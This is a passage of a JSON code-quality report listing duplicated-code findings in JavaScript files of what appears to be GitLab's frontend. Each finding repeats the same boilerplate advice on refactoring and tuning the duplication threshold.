[mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e577605dea8912ffd5b82ee2e188ec76","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/modules/pipelines/actions.js","lines":{"begin":28,"end":40}},"remediation_points":1170000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/modules/pipelines/actions.js","lines":{"begin":123,"end":133}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 74**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1825ad84d47a08c46a9dd2a4386db970","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/modules/pipelines/actions.js","lines":{"begin":123,"end":133}},"remediation_points":1170000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/modules/pipelines/actions.js","lines":{"begin":28,"end":40}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 74**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1825ad84d47a08c46a9dd2a4386db970","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_util.js","lines":{"begin":61,"end":67}},"remediation_points":1140000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_util.js","lines":{"begin":68,"end":74}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 73**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"40924a71c4587ae28cb080829b65871c","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_util.js","lines":{"begin":68,"end":74}},"remediation_points":1140000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_util.js","lines":{"begin":61,"end":67}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 73**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"40924a71c4587ae28cb080829b65871c","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/test_utils/simulate_drag.js","lines":{"begin":7,"end":9}},"remediation_points":1140000,"other_locations":[{"path":"app/assets/javascripts/test_utils/simulate_drag.js","lines":{"begin":13,"end":15}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 73**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ca3e7297c2c42380a6b34e26f5faa025","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/test_utils/simulate_drag.js","lines":{"begin":13,"end":15}},"remediation_points":1140000,"other_locations":[{"path":"app/assets/javascripts/test_utils/simulate_drag.js","lines":{"begin":7,"end":9}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 73**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ca3e7297c2c42380a6b34e26f5faa025","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations/merge_request.js","lines":{"begin":22,"end":26}},"remediation_points":1110000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations/branch.js","lines":{"begin":26,"end":30}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 72**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5b01e7cc1ccdb5b45e44117d01906827","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations/branch.js","lines":{"begin":26,"end":30}},"remediation_points":1110000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations/merge_request.js","lines":{"begin":22,"end":26}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 72**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e8265ff476562ddb4bd141410d88ad2f","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/labels/index/index.js","lines":{"begin":12,"end":18}},"remediation_points":1110000,"other_locations":[{"path":"app/assets/javascripts/pages/milestones/shared/promote_milestone_modal_init.js","lines":{"begin":9,"end":15}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 72**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"33bcc15ccc0be1f4e4787d8882ad36e2","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/milestones/shared/promote_milestone_modal_init.js","lines":{"begin":9,"end":15}},"remediation_points":1110000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/labels/index/index.js","lines":{"begin":12,"end":18}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 72**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"931ead2443e997ee26d698667339fb06","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":222,"end":229}},"remediation_points":1080000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":237,"end":244}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 71**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"36bae5f12de5a60023e0fd8fc19f1842","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":237,"end":244}},"remediation_points":1080000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":222,"end":229}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 71**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"36bae5f12de5a60023e0fd8fc19f1842","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/u2f/register.js","lines":{"begin":71,"end":77}},"remediation_points":1080000,"other_locations":[{"path":"app/assets/javascripts/u2f/authenticate.js","lines":{"begin":81,"end":87}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 71**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* 